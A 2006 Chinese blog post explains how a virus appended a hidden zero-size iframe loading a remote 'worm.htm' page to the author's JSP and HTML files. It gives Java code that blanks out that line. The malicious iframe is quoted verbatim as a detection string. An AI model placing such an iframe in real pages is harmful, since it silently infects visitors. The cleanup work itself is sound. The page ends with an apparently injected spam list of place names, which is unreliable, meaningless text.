小魚的空氣

          記錄我所思

          修復被病毒修改的網頁

          ???? 前幾天機器中毒,開始時只是IE彈彈窗口,后來嚴重到不可以忍受以至重裝,今天打開一些J以前備份下來的JSP文件看看,每個文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",這樣打開這些網頁就可能中招,再看看HTML文件也同樣遭此毒手。

          ???????于是便開始用Java寫個小程序來修復這些文件,要高效率地修復這些文件,看來只能使用RandomAccessFile,因為其它的IO流都是順序讀寫的,而RandomAccessFile可以跳到指定的位置。方法很簡單,計算一下這行垃圾的起始位置,然后用空格替換之。沒什么好說的,值得注意的是寫空格時,只有用randomAccessFile.writeBytes(" ")才行,其它的寫方法會寫入亂碼,待探究。
          ???????
          ?????? 下面將代碼貼上,以備忘。

          package?hy;

          import?java.io.File;
          import?java.io.FileNotFoundException;
          import?java.io.FilenameFilter;
          import?java.io.RandomAccessFile;

          public?class?RepairPage?{

          ????
          private?static?int?num;
          ????
          private?String?worm?=?"<iframe?src=http://www.krvkr.com/worm.htm?width=0?height=0></iframe>";


          ????
          public?void?repair(File?page){
          ????????
          //System.out.println("Try?File:"+page.getPath());
          ????????try?{
          ????????????RandomAccessFile?r?
          =?new?RandomAccessFile(page,"rw");
          ????????????
          if(r.length()<70)
          ????????????????
          return;
          ????????????r.seek(r.length()?
          -?70);//跳到最后一行
          ????????????String?shit?=?r.readLine();
          ????????????
          if(shit.equals(worm)){
          ????????????????
          //System.out.println("shit?content:"+shit);
          ????????????????System.out.println("修復損壞文件:"+page.getPath());
          ????????????????r.seek(r.length()?
          -?70);
          ????????????????
          for?(int?i?=?0;?i?<?worm.length();?i++)?{
          ????????????????????r.writeBytes(
          "?");
          ????????????????}

          ????????????????num?
          ++;
          ????????????}

          ????????}
          ?catch?(Exception?e)?{
          ????????????e.printStackTrace();
          ????????}

          ????}


          ????
          public?void?doDir(File?dir)?{
          ????????
          if?(dir.canRead())?{
          ????????????
          if?(dir.isDirectory())?{
          ????????????????String[]?files?
          =?dir.list();
          ????????????????
          if?(files?!=?null)?{
          ????????????????????
          for?(int?i?=?0;?i?<?files.length;?i++)?{
          ????????????????????????doDir(
          new?File(dir,?files[i]));//?遞歸
          ????????????????????}

          ????????????????}

          ????????????}
          ?else?{//?is?File
          ????????????????String?name?=?dir.getName();
          ????????????????
          if?(name.endsWith("jsp")?||?name.endsWith("html")?||?name.endsWith("htm"))
          ????????????????????repair(dir);
          ????????????}

          ????????}

          ????}


          ????
          public?static?void?main(String[]?args)?{

          ????????File?dir?
          =?new?File("c:\\pages");
          ????????RepairPage?repair?
          =?new?RepairPage();
          ????????repair.doDir(dir);
          ????????System.out.println(
          "修復成功完成,修復文件數:"+repair.num);
          ????}


          }

          posted on 2006-12-20 19:23 小魚 閱讀(346) 評論(1)  編輯  收藏

          評論

          # re: 修復被病毒修改的網頁 2007-12-24 23:25 崩潰邊緣

          你好 我也被類似的病毒感染了

          硬盤里有7000多個html和htm文件被感染!

          不懂java,有朋友剛學.

          能否幫助一下?

          我的郵箱 369308529@qq.com

            回復  更多評論   


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          <2007年12月>
          2526272829301
          2345678
          9101112131415
          16171819202122
          23242526272829
          303112345

          導航

          統計

          常用鏈接

          留言簿(3)

          我參與的團隊

          隨筆檔案

          文章檔案

          搜索

          最新評論

          主站蜘蛛池模板: 蒙山县| 松潘县| 电白县| 溆浦县| 微博| 丰台区| 永济市| 施甸县| 千阳县| 松江区| 正镶白旗| 石景山区| 广东省| 社会| 中方县| 陇川县| 唐山市| 晋城| 乌兰县| 阿拉善左旗| 柏乡县| 博客| 布尔津县| 土默特左旗| 封丘县| 巢湖市| 马山县| 孝感市| 大安市| 临安市| 台安县| 亚东县| 资兴市| 胶州市| 宁城县| 江北区| 吉林市| 德昌县| 河北区| 建宁县| 田东县|